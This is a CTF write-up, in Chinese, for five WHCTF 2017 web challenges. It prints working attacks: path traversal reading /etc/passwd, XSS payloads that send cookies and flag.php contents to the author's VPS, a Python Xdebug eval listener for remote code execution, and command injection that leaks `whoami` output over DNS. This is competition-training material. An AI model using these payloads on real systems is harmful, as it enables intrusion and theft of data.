WHCTF 2017 Web Write-up

CTF

Posted by Xiaoxi on September 18, 2017

WHCTF

赛况

SCANNER

URL:http://118.31.18.64:20008/c181948a9bdee64753468823ac57a870/github.com/

首先,扫描能扫到一个robots.txt(没什么用,但是至少可以知道一定是需要扫描的)

# There Is Nothing
User-agent: *
Disallow: /ScannerISg00d
http://118.31.18.64:20008/ hello world

这是一个反代Github的站,反代理了旧版本的Github。

在用重型扫描器扫描的时候,能扫到一些XSS的点。

http://118.31.18.64:20008/c181948a9bdee64753468823ac57a870/help.github.com/index.php?q=1'"()%26%25<acx><ScRiPt%20>alert(9122)</ScRiPt>&utf8=%e2%9c%93

但是,奈何字典不给力,一直没扫到啥有用的信息。后来博博用御剑扫了一波,发现了一个奇怪的页面。

http://118.31.18.64:20008/c181948a9bdee64753468823ac57a870/github.com/getimg.php

会得到一个返回包:

HTTP/1.1 200 OK
Date: Sun, 17 Sep 2017 03:14:20 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.20
Content-Length: 8
Connection: close
Content-Type: image/jpeg

Hacker!

显然,攻击点就在这。

然后,就是一个很神奇的思路。

算是脑洞吧.getimg.php猜参数为pic,然后是一个文件读取的功能。

PS:我在测试真正的github站时,发现搜索的内容会有一个预先加载的过程,一开始是一个图片加载内容,可能真正旧版本的Github是有getimg这个功能的?Maybe。。

GET /c181948a9bdee64753468823ac57a870/github.com/getimg.php?pic=../../../../../../etc/passwd HTTP/1.1
Host: 118.31.18.64:20008
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __utma=13406071.113045772.1505529039.1505529039.1505529039.1; __utmz=13406071.1505529039.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=htgpdqchfo3hi3h3q2suo22fk2; tz=Asia%2FShanghai
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

猜测是一个读文件的操作,尝试读取一波。

HTTP/1.1 200 OK
Date: Sun, 17 Sep 2017 03:18:06 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.20
Content-Length: 1355
Connection: close
Content-Type: image/jpeg

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
flag:x:11:11:flag:/home/flag/a89ca65d:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
mysql:x:105:108:MySQL Server,,,:/var/lib/mysql/:/bin/false

可以读,那么尝试读flag内容。而/etc/passwd中可以看到有一个flag用户。

flag:x:11:11:flag:/home/flag/a89ca65d:/usr/sbin/nologin

尝试读取一波

GET /c181948a9bdee64753468823ac57a870/github.com/getimg.php?pic=/home/flag/a89ca65d HTTP/1.1
Host: 118.31.18.64:20008
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __utma=13406071.113045772.1505529039.1505529039.1505529039.1; __utmz=13406071.1505529039.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=htgpdqchfo3hi3h3q2suo22fk2; tz=Asia%2FShanghai
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

得到flag

WHCTF{D0_Y0u_Th1nk_Sc4nner_15_Usefu1}

NOT_ONLY_XSS

url:http://118.31.15.206:20006/

抓包,可以发现有一个CSP。CSP限制很弱,一个个盲测一下。

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';style-src 'self' 'unsafe-inline';img-src *;

发现可以通过img标签绕过,<img src='ip'>

请求包如下:

POST / HTTP/1.1
Host: 118.31.15.206:20006
Content-Length: 140
Cache-Control: max-age=0
Origin: http://118.31.15.206:20006
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://118.31.15.206:20006/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=pvna84asmituchrrvl8kh4h5s5
Connection: close

name=mo+xiaoxi&email=x%40gmail.com&phone=15084762817&verify=828188&secret=%3Cimg+src%3D%27http%3A%2F%2F45.62.96.72%3A5678%27%3E

在VPS上可以收到这样的数据

XSS1

然后,访问一下页面

http://118.31.15.206:20006/upload/26a155556d805e00c4c5a845e9418515.html

可以看到这个页面不仅有CSP的限制,还有一个filter.js代码。这个代码会限制很多JS的操作。

通过本地测试,以下代码可以绕过限制

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline';style-src 'self' 'unsafe-inline';img-src *;">
<script src='../js/filter.js'></script>
<h2>Phone</h2> 15084760817<br>
<h2>secret</h2><br>
<img src="http://45.62.96.72:5678/11">
<script>
    var ss = "http://45.62.96.72:5679/2/?p="+document.cookie;
    var elem = document.createElement("img");
    elem.setAttribute("src", ss);
    document.body.appendChild(elem);
</script>
<h2>Email</h2>momomomoxiaoxi@gmail.com

XSS2

可以弹到数据!(这里说明一下,为什么要弹两次。主要是为了通过第一个img获取生成的网页的具体网址。好当发现后面的js代码没有执行时,获取原始页面内容,查看是否是语法错误或者其它,方便调试)

接下里就掉入一个大坑中了。在测试中,发现这个payload在远程永远无法执行。很迷。。

后来,才发现提交的代码中js字符串拼接的+号,直接提交时会被解码成空格生成页面。那么后面的js代码就有语法错误,所以无法执行。

XSS3

所以,在提交的时候需要对+编码。

此时,JS能够成功执行,但是document.cookie是空,说明不是打cookie的值。后来,发现存在一个flag.php文件。这里很神奇,本来感觉基本没办法读取。因为是flag.php,感觉admin访问和用户访问应该显示的是一样的(这里无cookie机制,即没权限区分。当然可能是httponly的Cookie,打不出来)。但是,后来抱着试一试的心态,突然把flag打到了。这里的问题在于XSS bot是以PhantomJS/2.1.1开发的,而它可以直接读取到源码。

payload:

POST / HTTP/1.1
Host: 118.31.15.206:20006
Content-Length: 303
Cache-Control: max-age=0
Origin: http://118.31.15.206:20006
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://118.31.15.206:20006/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=1cmok66ci2idscuhaq8b5649s6
Connection: close

name=mo+xiaoxi&email=momomomoxiaoxi%40gmail.com&phone=15084760817&verify=541274&secret=<img src="http://45.62.96.72:5678/11"><script>var xhr = new XMLHttpRequest();var url = "../flag.php";xhr.open("GET", url, true);xhr.send(null);setTimeout(function(){console.log(xhr);var ss = "http://45.62.96.72:5679/?p="%2bescape(xhr.responseText);var elem = document.createElement("img");elem.setAttribute("src", ss);document.body.appendChild(elem);}, 3000);</script>

回显信息:

4

解码:

<?php

$flag="WHCTF{phant0mjs_c4n_open_f1les_1n_webp4ge}";
echo "Flag is here! But nobody can got it!";
?>

PS:这里url不能写成’http://127.0.0.1/flag.php

因为会违反csp=》default-src ‘self’

index.html:2 Refused to connect to ‘http://127.0.0.1/flag.php’ because it violates the following Content Security Policy directive: “default-src ‘self’”. Note that ‘connect-src’ was not explicitly set, so ‘default-src’ is used as a fallback.

EMMM

这题只有一个phpinfo。一开始看到PHP的版本是7,就以为是PHP7的Opache外加利用phpinfo的临时文件上传漏洞来利用。但是,后来仔细梳理了一下,由于没有文件包含点,无法利用临时文件上传的竞争问题执行代码。此外,临时文件的路径和Opache的临时文件路径也是不一样的,无法覆盖,思路已死。

  1. 利用PHP 7中的OPcache来实现Webshell
  2. 利用phpinfo信息LFI临时文件

后来,学弟说网站开了XDEBUG远程调试,可以尝试XDEBUG的远程调试进行任意命令执行。于是学习一波远程调试,就能得到flag。这里有一个有意思的点,XDEBUG的远程调试是由一个模拟的shell窗口的,可以执行任意命令。这点和一句话木马上传后,用菜刀执行shell的原理类似。虽然这个思路限制比较大,但也是对phpinfo泄漏的利用也是一种扩展。

PHP远程调试的限制:

  1. Xdebug工作模式为xdebug.remote_connect_back = 1 这种方式php 在 接受 http 请求后,xdebug 会将请求来源的 IP 绑定,并通知,而非静态绑定单一客户端。
  2. 路径映射下的环境需要相同。即你得知道要调试的远程php文件的系统路径,还能得到文件的源码。限制很大。
  3. 本地和远程的IDEKEY得相同。
  4. 攻击机最好有公网IP,保证能够成功收到反弹数据。
  1. XDEBUG原理
  2. 本地XDEBUG配置
  3. 远程XDEBUG配置 推荐

如果一切顺利,你可以得到这样的远程调试界面。(由于远程服务器已经挂了,这里没有在远程复现)

在本地的console下,你可以执行任意命令。虽然console中回显的数据有长度限制,但是我们可以从页面上获取详细信息。(远程调试时,就是远程页面)

xdebug4

xdebug5

这里放一张当时做题时候,学弟截的图。

xdebug3

此外,当没有phpinfo,但是远程服务器还是开启了XDEBUG的情况下,我们也可以通过其进行任意命令执行。这个思路可以参考ricterz.me写的博客,很有意思。而且,ricterz.me的思路绕过了上文的2、3限制,是一个很好的技巧,值得学习!

比如你可以通过一个简单的curl命令测试远程服务器是否存在XDEBUG调试的漏洞。

xdebug2

X-Forwarded-For 地址的 9000 端口收到如上,就可以确定开启了 Xdebug,并且开启了 xdebug.remote_connect_back

ricter还写了一个脚本用来利用这种配置漏洞:

#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

运行情况如下,可以进行任意PHP代码执行。

xdebug

ricterz还分析了xdebug的其他一些可利用的命令。具体请大家阅读他的博客

CAT

http://120.55.42.243:20010/index.php?url=%a0

django调试模式打开了,输入%a0之类的字符可以获得报错信息,拿到一部分源码

/opt/api/dnsapi/views.py in wrapper
       # 合并 requests.FILES 和 requests.POST
       for k, v in request.FILES.items():
           if isinstance(v, InMemoryUploadedFile):
               v = v.read()
           request.FILES[k] = v
       request.POST.update(request.FILES)
       return f(*args, **kwargs)
...
   return wrapper
@process_request
def ping(request):
 Local vars
/opt/api/dnsapi/views.py in ping
   return wrapper
@process_request
def ping(request):
   # 转义
   data = request.POST.get('url')
   data = escape(data)
...
   if not re.match('^[a-zA-Z0-9\-\./]+$', data):
       return HttpResponse("Invalid URL")
   return HttpResponse(os.popen("ping -c 1 \"%s\"" % data).read())
 Local vars
/opt/api/dnsapi/utils.py in escape
   r = ''
   for i in range(len(data)):
       c = data[i]
       if c in ('\\', '\'', '"', '$', '`'):
           r = r + '\\' + c
       else:
           r = r + c
   return r.encode('gbk')
...

这里用了dns的api。顿时就想到毕设的一个操作(控制指定一个域名的解析服务器实现DNS隧道)。

本地测试:

ping -c 1 "`whoami`.xiaoxi.pegasusx.top"

命令会转化为

ping -c 1 "xiaoxi.xiaoxi.pegasusx.top"

而我们在域名解析上配置,所有xxx.xiaoxi.pegasusx.top都到我们指定的一个服务器进行解析。具体配置参考这篇博文

PS:后期发现这是一个比较通用的思路,就是DNSlog来获取数据。在SQL注入和命令执行时,尤其是没有回显时有神奇的作用。

可以在我们的服务器上看到如下数据:

➜  ~ tcpdump udp port 53 -X |grep xiaoxi.pegasusx.top
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on venet0, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes
03:40:43.847328 IP duhem.df.lth.se.45156 > ilovefyy.top.domain: 41249+ NULL? vaaaaaaaaaaaaa.xiaoxi.pegasusx.top. (52)
03:41:17.167469 IP 60.215.138.244.50302 > ilovefyy.top.domain: 33379% [1au] A? moxiaoxi.xiaoxi.pegasusx.top. (57)
03:41:17.967575 IP 60.215.138.244.44039 > ilovefyy.top.domain: 24630% [1au] A? moxiaoxi.xiaoxi.pegasusx.top. (57)

可以看到whoami的结果被发送过来了。这是因为ping一个域名时,系统会自动解析那个域名,从而将那个域名信息转发到我们的服务器上。而我们可以把想要的信息放在域名的前缀上发送到我们的DNS解析服务器。

接下来的思路就是通过gbk绕过正则,插入一个`.

 data = escape(data)
...
   if not re.match('^[a-zA-Z0-9\-\./]+$', data):
       return HttpResponse("Invalid URL")
   return HttpResponse(os.popen("ping -c 1 \"%s\"" % data).read())
   
/opt/api/dnsapi/utils.py in escape
   r = ''
   for i in range(len(data)):
       c = data[i]
       if c in ('\\', '\'', '"', '$', '`'):
           r = r + '\\' + c
       else:
           r = r + c
   return r.encode('gbk')

本地搭建一个环境,进行测试

# coding:utf-8   
import re
import os

def escape(data):
   r = ''
   for i in range(len(data)):
       c = data[i]
       if c in ('\\', '\'', '"', '$', '`'):
           r = r + '\\' + c
       else:
           r = r + c
   return r.encode('gbk')


def test(data):
	data = escape(data)
	if not re.match('^[a-zA-Z0-9\-\./]+$', data):
		return "Invalid URL"
	print os.popen("ping -c 1 \"%s\"" % data)
	return (os.popen("ping -c 1 \"%s\"" % data)).read()

print test('baidu.com')

然后,就掉入了大坑😢。发现这个正则太苛刻了,几乎无法过滤。此外,也没想到很好的方法,通过gbk编码来吃掉\。如果有大牛有好的思路,麻烦留言告诉我,不尽感激。

后来,官方给了一个提示:

RTFM of PHP CURL===>>read the fuck manul of PHP CURL???

这时候,开始关注网站奇怪的点。这个网站很奇怪,index.php的后缀。而后台报的是python的django debug错误。所以,必然是一个PHP调用Python的站,PHP通过某种方式调用Python的API。再联想提示,猜测后台搭建结构应该是PHP通过Curl向django搭建的Python站提交数据,Python处理完再将数据传回。

然后,利用Curl的@特性。

WechatIMG728

在fuzz的时候,发现可以通过@index.php读取index.php内容,很神奇。

然后,就依次尝试读取了Python的一些文件。很奇怪,http://120.55.42.243:20010/index.php?url=@/opt/api/dnsapi/views.py可以读取,http://120.55.42.243:20010/index.php?url=@/opt/api/dnsapi/utils.py不能。

认真想了一下,这里应该是利用了Curl的@特性和Python的encode编码。使用@会将文件内容全部传输到Python的站,而文件内容如果有中文就会encode报错,回显到网页。utils.py之所以没报错是因为其内容全是英文的,不会引起encode报错。

接下来,回顾了一下报错页面,发现数据库路径是已知的,尝试读了一波,可以直接拿到flag,都不用加载数据库。

6

ROUTER

首先,下载附件。二进制大佬说是一个go语言写的代码,在IDA中装一个插件就可以看到符号表,进行调试解析。

这是一个路由器,启动时读取settings.conf。登陆后,可以修改密码。登录的密码是一个弱密码,用户router,密码router。(弱密码可以由静态调试读取)而且,登录以后可以在action参数读取存在的文件。

router

在本地新建一个flag文件,内容为1212xxx

# moxiaoxi @ moxiaoxideMBP in ~/Desktop/CTF/WHCTF/ROUTER [21:11:55]
$ ls
a97870f7-ddae-427d-bb13-11c9f06d2cc4.Router
flag
settings.conf

# moxiaoxi @ moxiaoxideMBP in ~/Desktop/CTF/WHCTF/ROUTER [21:11:56]
$ cat flag
1212xxx

action

可以发现,如果登录了以后,我们就可以通过action进行文件读取。

那么,我们现在只需要获得远程服务的用户名和密码登录上去即可。(因为这里有权限限制,如果没有登录,将无法得到操作接口。操作接口是指POST的页面,疑似POST的页面是经过Cookie通过哈希算的,而且必须用户登录)

router2

而可以发现Export.php未验证权限,可以直接访问,下载到上一个人的conf文件。

获取远程服务器的密码就是一句上一个人的conf,然后下断点,动态调试,获得前一个人设置的passwd。